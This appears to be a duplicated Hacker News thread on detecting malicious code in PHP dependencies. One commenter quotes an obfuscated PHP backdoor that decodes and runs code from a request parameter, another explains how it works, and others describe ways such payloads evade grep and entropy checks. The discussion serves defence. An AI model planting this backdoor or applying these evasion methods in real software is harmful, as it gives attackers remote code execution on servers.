5 ms·

Thankfully nobody is using PEAR anymore. Using composer doesn't solve the problem of blinedly pulling internet dependencies, though (as others pointed out). Wh

by rawfan 8y ago

Thankfully nobody is using PEAR anymore. Using composer doesn't solve the problem of blinedly pulling internet dependencies, though (as others pointed out). What I currently do is grepping vendor for common smells like usage of eval() or obfuscations of the same thing after doing a composer update on a project.

EGreg 8y ago
I think package management is very dangerous!
lowercased 8y ago
It's hard to find obfuscations of stuff. ran across this recently... <?php $z0=$_REQUEST[‘sort’];$q1=‘’;$c2=“wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”;$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev(“noi”.“tcnuf”.“_eta”.“erc”);$j6=$v5(“”,$q1($z0));$j6();?> There's no 'eval' or 'base64_decode' easy thing to grep for.
- doublekill 8y ago
  You could create a readability score from normal non-malicious code. Eventhough I do not know what above code does, at a glance, I can tell that this is not normal code. A machine could too.
- egwynn 8y ago
  You might be able to catch that by looking for lines with unusually high entropy. Something like this: https://codereview.stackexchange.com/a/909 https://codereview.stackexchange.com/a/909
  - acdha 8y ago
    The problem with approaches like this is that they're prone to false positive/negatives. Take the example above — you could move more payload into the REQUEST variable (say a Cookie header), do more of the array of numbers so no individual token is that noteworthy, you could do something like toss that into a wrapper so someone sees something which looks like (and may actually be) an x509 cert or GPG public key with some misleading comment about that being used to verify updates, toss it into an image or other “fixture” in a test directory a la event-stream, etc. This is a much harder problem than anything someone is going to come up with in an HN reply on first reaction. People have been working on it for decades but it's especially hard because once a technique becomes popular an attacker can run offline attacks against it and not release their exploit until they've confirmed that it's not detected.
- dotancohen 8y ago
  Grep for multiple semicolons on a line. Or lines exceeding N characters. Or `$_` outside some specific places. Or multiple short variable names on the same line. Or "<?php[^$]". Salt and flavour per your coding style and code base.
  - jerf 8y ago
    No, that's just an arms race, and it's advantage attacker since in security we generally assume the attacker has our source and executables. Plus it's ultimately an instance of the halting problem; there is no way to run code to determine if another piece of code is "good" for any sensible definition of "good". (See Rice's Theorem.) You need to ensure bad stuff can't get in, not let stuff in and try to determine what's bad after the fact.
    - dotancohen 8y ago
      What aspect of information security is not inherently advantage attacker? Regarding "ensure bad stuff can't get in", that is a completely different aspect. No matter how well you "ensure", bad stuff will always get it. Thus security is done in layers.
- _cereal 8y ago
  Agree that is difficult to catch it. For the log, in this case there are both functions, the output looks something like this: $j6 = create_function('', base64_decode($_REQUEST['sort'])); $j6(); // execution The `create_function()`[1] will internally execute `eval()` so the result would be the same. [1] http://php.net/create_function http://php.net/create_function
acdha 8y ago
> Thankfully nobody is using PEAR anymore How many thousands of people are in that “nobody”? The places which have legacy baked in are probably also the least equipped to avoid it, too. Grepping has commonly been evaded since at least the late 90s. lowercased pointed out the use of request values already. Other techniques include encoding a string or byte array and decoding it into a file, pipe, etc. Static analysis can catch some things but it’s fundamentally the halting problem unless you can apply very restrictive sandbox policies — no file I/O, whitelist a few lines which can do certain operations, etc.

by rawfan 8y ago

EGreg 8y ago

I think package management is very dangerous!

lowercased 8y ago

It's hard to find obfuscations of stuff. ran across this recently... <?php $z0=$_REQUEST[‘sort’];$q1=‘’;$c2=“wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”;$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev(“noi”.“tcnuf”.“_eta”.“erc”);$j6=$v5(“”,$q1($z0));$j6();?> There's no 'eval' or 'base64_decode' easy thing to grep for.

doublekill 8y ago
You could create a readability score from normal non-malicious code. Eventhough I do not know what above code does, at a glance, I can tell that this is not normal code. A machine could too.
egwynn 8y ago
You might be able to catch that by looking for lines with unusually high entropy. Something like this: https://codereview.stackexchange.com/a/909 https://codereview.stackexchange.com/a/909
- acdha 8y ago
  The problem with approaches like this is that they're prone to false positive/negatives. Take the example above — you could move more payload into the REQUEST variable (say a Cookie header), do more of the array of numbers so no individual token is that noteworthy, you could do something like toss that into a wrapper so someone sees something which looks like (and may actually be) an x509 cert or GPG public key with some misleading comment about that being used to verify updates, toss it into an image or other “fixture” in a test directory a la event-stream, etc. This is a much harder problem than anything someone is going to come up with in an HN reply on first reaction. People have been working on it for decades but it's especially hard because once a technique becomes popular an attacker can run offline attacks against it and not release their exploit until they've confirmed that it's not detected.
dotancohen 8y ago
Grep for multiple semicolons on a line. Or lines exceeding N characters. Or `$_` outside some specific places. Or multiple short variable names on the same line. Or "<?php[^$]". Salt and flavour per your coding style and code base.
- jerf 8y ago
  No, that's just an arms race, and it's advantage attacker since in security we generally assume the attacker has our source and executables. Plus it's ultimately an instance of the halting problem; there is no way to run code to determine if another piece of code is "good" for any sensible definition of "good". (See Rice's Theorem.) You need to ensure bad stuff can't get in, not let stuff in and try to determine what's bad after the fact.
  - dotancohen 8y ago
    What aspect of information security is not inherently advantage attacker? Regarding "ensure bad stuff can't get in", that is a completely different aspect. No matter how well you "ensure", bad stuff will always get it. Thus security is done in layers.
_cereal 8y ago
Agree that is difficult to catch it. For the log, in this case there are both functions, the output looks something like this: $j6 = create_function('', base64_decode($_REQUEST['sort'])); $j6(); // execution The `create_function()`[1] will internally execute `eval()` so the result would be the same. [1] http://php.net/create_function http://php.net/create_function

acdha 8y ago

> Thankfully nobody is using PEAR anymore How many thousands of people are in that “nobody”? The places which have legacy baked in are probably also the least equipped to avoid it, too. Grepping has commonly been evaded since at least the late 90s. lowercased pointed out the use of request values already. Other techniques include encoding a string or byte array and decoding it into a file, pipe, etc. Static analysis can catch some things but it’s fundamentally the halting problem unless you can apply very restrictive sandbox policies — no file I/O, whitelist a few lines which can do certain operations, etc.